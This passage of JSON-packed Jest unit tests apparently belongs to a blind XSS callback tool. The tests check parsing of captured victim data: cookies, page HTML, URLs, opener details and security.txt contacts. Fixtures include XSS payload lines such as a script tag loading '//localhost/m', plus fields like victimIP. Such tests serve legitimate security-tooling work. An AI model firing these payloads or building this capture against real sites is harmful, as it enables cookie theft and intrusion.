expect(domain.url).toBe('http://localhost:1000/test.html');\n      expect(domain.innerHTML).toContain(\n        '<script src=\"https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js\"></script>'\n      );\n      expect(domain.innerHTML).toContain('<script>document.cookie=\"test:test\"</script>');\n      expect(domain.innerHTML).toContain('<h1>This is secret content</h1>');\n      expect(domain.innerHTML).toContain('<div ng-app=\"\">');\n      expect(domain.openerLocation).toBe(null);\n      expect(domain.openerCookie).toBe(null);\n      expect(domain.openerInnerHTML).toBe(null);\n      expect(domain.hasSecurityTxt).toBe(null);\n      expect(domain.victimIP).toBe(null);\n      expect(domain.payload).toBe('<script src=\"//localhost/m\"></script>');\n    });\n\n    it('Should return processed values for domain with Cookie, innerHTML, and URL, hasSecurityTxt, payload other values null or undefined', () => {\n      const domain = Domain.fromPayload(\n        'test%3Atest%0D%0A%0D%0A%23%21%21%21%21%23%3Chead%3E%3Cstyle%20type%3D%22text/css%22%3E@charset%20%22UTF-8%22%3B%5Bng%5C%3Acloak%5D%2C%5Bng-cloak%5D%2C%5Bdata-ng-cloak%5D%2C%5Bx-ng-cloak%5D%2C.ng-cloak%2C.x-ng-cloak%2C.ng-hide%3Anot%28.ng-hide-animate%29%7Bdisplay%3Anone%20%21important%3B%7Dng%5C%3Aform%7Bdisplay%3Ablock%3B%7D.ng-animate-shim%7Bvisibility%3Ahidden%3B%7D.ng-anchor%7Bposition%3Aabsolute%3B%7D%3C/style%3E%3C/head%3E%3Cbody%3E%0A%3Ch1%3EThis%20is%20secret%20content%3C/h1%3E%0A%3Cdiv%3E%0A%3Cscript%20src%3D%22https%3A//cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js%22%3E%3C/script%3E%0A%3Cdiv%20id%3D%22test%22%20class%3D%22test123%22%3E%0A%3Cscript%3Edocument.cookie%3D%22test%3Atest%22%3C/script%3E%0A%3Cdiv%20ng-app%3D%22%22%3E%0A%0A%0A%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3Cscript%20src%3D%22//localhost/m%22%3E%3C/script%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/body%3E%0D%0A%0D%0A%23%21%21%21%21%23http%3A//localhost%3A81/hi%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23Contact%3A%20https%3A//g.co/vulnz%0D%0AContact%3A%20mailto%3Alewisardern@live.co.uk%0D%0AEncryption%3A%20https%3A//services.google.com/corporate/publickey.txt%0D%0AAcknowledgements%3A%20https%3A//bughunter.withgoogle.com/%0D%0APolicy%3A%20https%3A//g.co/vrp%0D%0AHiring%3A%20https%3A//g.co/SecurityPrivacyEngJobs%0D%0A%0D%0A%0D%0A%23%21%21%21%21%23%3Cscript%20src%3D%22//localhost/m%22%3E%3C/script%3E',\n        { boundary: '#!!!!#', intrusiveLevel: 1 }\n      );\n\n      expect(domain.cookie).toBe('test:test');\n      expect(domain.innerHTML).toContain('<script>document.cookie=\"test:test\"</script>');\n      expect(domain.innerHTML).toContain('<h1>This is secret content</h1>');\n      expect(domain.innerHTML).toContain('<div ng-app=\"\">');\n      expect(domain.url).toBe('http://localhost:81/hi');\n      expect(domain.openerLocation).toBe(null);\n      expect(domain.openerCookie).toBe(null);\n      expect(domain.openerInnerHTML).toBe(null);\n      expect(domain.hasSecurityTxt).toMatchObject(['lewisardern@live.co.uk']);\n      expect(domain.victimIP).toBe(null);\n      expect(domain.payload).toBe('<script src=\"//localhost/m\"></script>');\n    });\n\n    it('Should return processed values for domain with innerHTML (non-intrusive), and URL, other values null or undefined', () => {\n      const domain = Domain.fromPayload(\n        'null%0D%0A%0D%0A%23%21%21%21%21%23SCRIPT%2CDIV%2CDIV-test123-test%2CDIV%2CBODY%2CHTML%0D%0A%0D%0A%23%21%21%21%21%23http%3A//localhost%3A1000/test.html%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null',\n        { boundary: '#!!!!#', intrusiveLevel: 0 }\n      );\n\n      expect(domain.cookie).toBe(null);\n      expect(domain.innerHTML).toBe(\n        'SCRIPT<br/>DIV<br/>DIV-test123-test<br/>DIV<br/>BODY<br/>HTML<br/>'\n      );\n      expect(domain.url).toBe('http://localhost:1000/test.html');\n      expect(domain.openerLocation).toBe(null);\n      expect(domain.openerCookie).toBe(null);\n      expect(domain.openerInnerHTML).toBe(null);\n      expect(domain.hasSecurityTxt).toBe(null);\n      expect(domain.victimIP).toBe(null);\n      expect(domain.payload).toBe(null);\n    });\n  });\n\n  describe('html', () => {\n    it('Should return each captured node with <br/> tag which can be used to display in markdown output', () => {\n      const domain = Domain.from(\n        { innerHTML: 'SCRIPT,DIV,DIV-test123-test,DIV,BODY,HTML' },\n        { intrusiveLevel: 0 }\n      );\n      expect(domain.html()).toBe(\n        'SCRIPT<br/>DIV<br/>DIV-test123-test<br/>DIV<br/>BODY<br/>HTML<br/>'\n      );\n    });\n\n    it('Should return innerHTML, if set and intrusive level is 1', () => {\n      const domain = Domain.from(\n        { innerHTML: '<h1>hello</h1><script src=\"//localhost/m\"></script>' },\n        { intrusiveLevel: 1 }\n      );\n      expect(domain.html()).toBe(domain.innerHTML);\n    });\n\n    it('should return openerInnerHTML if it is set, innerHTML is unset and intrusive level is 1', () => {\n      const domain = Domain.from(\n        { openerInnerHTML: '<h1>hello</h1><script src=\"//localhost/m\"></script>' },\n        { intrusiveLevel: 1 }\n      );\n      expect(domain.html()).toBe(domain.openerInnerHTML);\n    });\n  });\n\n  describe('hasSecurityTxt', () => {\n    it('should extract valid contact address(es) from security.txt output', () => {\n      [\n        // with mailto:\n        'Contact: https://g.co/vulnz\\r\\nContact: mailto:lewisardern@live.co.uk\\r\\nEncryption: https://services.google.com/corporate/publickey.txt\\r\\nAcknowledgements: https://bughunter.withgoogle.com/\\r\\nPolicy: https://g.co/vrp\\r\\nHiring: https://g.co/SecurityPrivacyEngJobs',\n        // without mailto:\n        'Contact: https://g.co/vulnz\\r\\nContact: lewisardern@live.co.uk\\r\\nEncryption: https://services.google.com/corporate/publickey.txt\\r\\nAcknowledgements: https://bughunter.withgoogle.com/\\r\\nPolicy: https://g.co/vrp\\r\\nHiring: https://g.co/SecurityPrivacyEngJobs'\n      ].forEach(txt => {\n        const domain = Domain.from({ hasSecurityTxt: txt });\n        expect(domain.hasSecurityTxt).toMatchObject(['lewisardern@live.co.uk']);\n      });\n    });\n\n    it('should return null for invalid addresses in security.txt output', () => {\n      const domain = Domain.from({\n        hasSecurityTxt:\n          'Contact: https://g.co/vulnz\\r\\nContact: lewisardern\\r\\nEncryption: https://services.google.com/corporate/publickey.txt\\r\\nAcknowledgements: https://bughunter.withgoogle.com/\\r\\nPolicy: https://g.co/vrp\\r\\nHiring: https://g.co/SecurityPrivacyEngJobs'\n      });\n      expect(domain.hasSecurityTxt).toBe(null);\n    });\n  });\n});\n"
  },
  {
    "path": "tests/__tests__/utilities/payload.unit.test.js",
    "content": "// const Domain = require('server/utilities/domain');\n\ndescribe('processPayload', () => {\n  it('todo', () => {\n    expect(1).toBe(1);\n  });\n});\n"
  },
  {
    "path": "tests/__tests__/utilities/save.unit.test.js",
    "content": "const fs = require('fs');\n\nconst Domain = require('server/utilities/domain');\nconst save = require('server/utilities/save');\nconst today = require('moment')().format('YYYY-MM-DD');\n\ndescribe('utilities.save', () => {\n  describe('saveDomain', () => {\n    const readFileMock = jest.spyOn(fs, 'readFile');\n    const appendFileMock = jest.spyOn(fs, 'appendFile');\n    const domain = Domain.from({ url: 'https://example.com/vulnerable.txt' });\n\n    beforeEach(() => {\n      readFileMock.mockImplementation(\n        (_file, ...args) => args[args.length - 1](null, 'https://example.com/vulnerable.txt')\n      );\n      appendFileMock.mockImplementation((file, data, ...args) => {\n        args[args.length - 1](null, data.byteLength, data)\n      });\n    });\n    afterEach(() => {\n      readFileMock.mockRestore();\n      appendFileMock.mockRestore();\n    });\n\n    it('should save domain to file as it does not currently exist inside urls.txt', () => {\n      save.saveDomain(domain);\n      expect(appendFileMock).toHaveBeenCalled();\n    });\n\n    it('should not save domain to file as it currently exist inside urls.txt', () => {\n      save.saveDomain(domain);\n      expect(appendFileMock).not.toHaveBeenCalled();\n    });\n  });\n\n  describe('saveTodaysDate', () => {\n    it(\"should save today's date in a text file\", () => {\n      const writeFileSyncMock = jest.spyOn(fs, 'writeFileSync');\n      writeFileSyncMock.mockImplementation(() => {});\n      save.saveTodaysDate();\n      expect(writeFileSyncMock.mock.calls[0][1]).toBe(today);\n      expect(writeFileSyncMock).toHaveBeenCalled();\n      writeFileSyncMock.mockRestore();\n    });\n  });\n})\n"
  }
]